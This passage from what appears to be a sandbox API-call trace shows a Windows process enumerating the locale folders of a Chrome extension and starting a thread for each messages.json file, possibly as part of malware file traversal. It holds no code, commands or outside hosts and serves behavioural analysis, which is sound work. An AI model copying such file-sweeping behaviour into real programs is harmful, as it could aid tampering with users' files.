dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0181.982] FindClose (in: hFindFile=0x941d30 | out: hFindFile=0x941d30) returned 1 [0181.982] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x90fba8) returned 1 [0181.982] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4a7840) returned 1 [0181.982] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd499518) returned 1 Thread: id = 7305 os_tid = 0x1384 [0180.248] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x12a) returned 0xd4a7978 [0180.248] wcscpy (in: _Dest=0xd4a7978, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el" [0180.248] wcscat (in: _Dest=0xd4a7978, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el\\" [0180.248] wcscat (in: _Dest=0xd4a7978, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el\\*" [0180.248] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x911af0 [0180.249] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el\\*", lpFindFileData=0x911af0 | out: lpFindFileData=0x911af0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83434990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834370a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834370a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942af0 [0181.158] wcscmp (_String1=".", _String2=".") returned 0 [0181.158] FindNextFileW (in: hFindFile=0x942af0, lpFindFileData=0x911af0 | out: lpFindFileData=0x911af0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83434990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834370a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834370a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0181.158] wcscmp (_String1="..", _String2=".") returned 1 [0181.158] wcscmp (_String1="..", _String2="..") returned 0 [0181.158] FindNextFileW (in: hFindFile=0x942af0, lpFindFileData=0x911af0 | out: lpFindFileData=0x911af0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834370a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834397b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83982050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4afe, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0181.158] wcscmp (_String1="messages.json", _String2=".") returned 1 [0181.158] wcscmp (_String1="messages.json", _String2="..") returned 1 [0181.158] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x142) returned 0x940648 [0181.158] wcscpy (in: _Dest=0x940648, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el" [0181.158] wcscat (in: _Dest=0x940648, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el\\" [0181.158] wcscat (in: _Dest=0x940648, _Source="messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el\\messages.json" [0181.983] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x940648, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x760 [0181.984] FindNextFileW (in: hFindFile=0x942af0, lpFindFileData=0x911af0 | out: lpFindFileData=0x911af0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834370a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834397b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83982050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4afe, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0181.984] FindClose (in: hFindFile=0x942af0 | out: hFindFile=0x942af0) returned 1 [0181.984] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x911af0) returned 1 [0181.985] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4a7978) returned 1 [0181.985] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd499650) returned 1 Thread: id = 7306 os_tid = 0x1388 [0180.249] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x12a) returned 0xd4a7ab0 [0180.249] wcscpy (in: _Dest=0xd4a7ab0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en" [0180.249] wcscat (in: _Dest=0xd4a7ab0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en\\" [0180.249] wcscat (in: _Dest=0xd4a7ab0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en\\*" [0180.249] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x92a2f0 [0180.250] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en\\*", lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8343bec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83440ce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83440ce0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9427f0 [0181.159] wcscmp (_String1=".", _String2=".") returned 0 [0181.159] FindNextFileW (in: hFindFile=0x9427f0, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8343bec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83440ce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83440ce0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0181.159] wcscmp (_String1="..", _String2=".") returned 1 [0181.159] wcscmp (_String1="..", _String2="..") returned 0 [0181.159] FindNextFileW (in: hFindFile=0x9427f0, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8343e5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83440ce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83984760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3d7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0181.159] wcscmp (_String1="messages.json", _String2=".") returned 1 [0181.159] wcscmp (_String1="messages.json", _String2="..") returned 1 [0181.159] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x142) returned 0x9407a0 [0181.159] wcscpy (in: _Dest=0x9407a0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en" [0181.159] wcscat (in: _Dest=0x9407a0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en\\" [0181.159] wcscat (in: _Dest=0x9407a0, _Source="messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en\\messages.json" [0181.985] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9407a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15ac [0181.986] FindNextFileW (in: hFindFile=0x9427f0, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8343e5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83440ce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83984760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3d7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0181.986] FindClose (in: hFindFile=0x9427f0 | out: hFindFile=0x9427f0) returned 1 [0181.987] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x92a2f0) returned 1 [0181.987] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4a7ab0) returned 1 [0181.987] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd499788) returned 1 Thread: id = 7307 os_tid = 0x13a0 [0180.250] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x12a) returned 0xd4a7be8 [0180.250] wcscpy (in: _Dest=0xd4a7be8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es" [0180.250] wcscat (in: _Dest=0xd4a7be8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es\\" [0180.250] wcscat (in: _Dest=0xd4a7be8, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es\\*" [0180.250] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x92b898 [0180.250] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es\\*", lpFindFileData=0x92b898 | out: lpFindFileData=0x92b898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8344a920, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8344d030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8344d030, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942070 [0181.160] wcscmp (_String1=".", _String2=".") returned 0 [0181.160] FindNextFileW (in: hFindFile=0x942070, lpFindFileData=0x92b898 | out: lpFindFileData=0x92b898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8344a920, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8344d030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8344d030, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0181.160] wcscmp (_String1="..", _String2=".") returned 1 [0181.160] wcscmp (_String1="..", _String2="..") returned 0 [0181.160] FindNextFileW (in: hFindFile=0x942070, lpFindFileData=0x92b898 | out: lpFindFileData=0x92b898*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8344d030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8344d030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83984760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x404b, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0181.160] wcscmp (_String1="messages.json", _String2=".") returned 1 [0181.160] wcscmp (_String1="messages.json", _String2="..") returned 1 [0181.160] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x142) returned 0x9408f8 [0181.160] wcscpy (in: _Dest=0x9408f8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es" [0181.160] wcscat (in: _Dest=0x9408f8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es\\" [0181.160] wcscat (in: _Dest=0x9408f8, _Source="messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es\\messages.json" [0181.987] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9408f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x544 [0181.988] FindNextFileW (in: hFindFile=0x942070, lpFindFileData=0x92b898 | out: lpFindFileData=0x92b898*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8344d030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8344d030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83984760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x404b, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0181.988] FindClose (in: hFindFile=0x942070 | out: hFindFile=0x942070) returned 1 [0181.989] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x92b898) returned 1 [0181.989] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4a7be8) returned 1 [0181.989] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4998c0) returned 1 Thread: id = 7308 os_tid = 0x13b4 [0180.251] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x12a) returned 0xd4a7d20 [0180.251] wcscpy (in: _Dest=0xd4a7d20, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et" [0180.251] wcscat (in: _Dest=0xd4a7d20, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et\\" [0180.251] wcscat (in: _Dest=0xd4a7d20, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et\\*" [0180.251] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x96dd08 [0180.251] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et\\*", lpFindFileData=0x96dd08 | out: lpFindFileData=0x96dd08*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83451e50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83454560, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83454560, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9422f0 [0181.161] wcscmp (_String1=".", _String2=".") returned 0 [0181.161] FindNextFileW (in: hFindFile=0x9422f0, lpFindFileData=0x96dd08 | out: lpFindFileData=0x96dd08*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83451e50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83454560, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83454560, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0181.161] wcscmp (_String1="..", _String2=".") returned 1 [0181.161] wcscmp (_String1="..", _String2="..") returned 0 [0181.161] FindNextFileW (in: hFindFile=0x9422f0, lpFindFileData=0x96dd08 | out: lpFindFileData=0x96dd08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83454560, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83454560, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83984760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3e85, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0181.161] wcscmp (_String1="messages.json", _String2=".") returned 1 [0181.161] wcscmp (_String1="messages.json", _String2="..") returned 1 [0181.161] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x142) returned 0x940a50 [0181.161] wcscpy (in: _Dest=0x940a50, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et" [0181.161] wcscat (in: _Dest=0x940a50, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et\\" [0181.161] wcscat (in: _Dest=0x940a50, _Source="messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et\\messages.json") 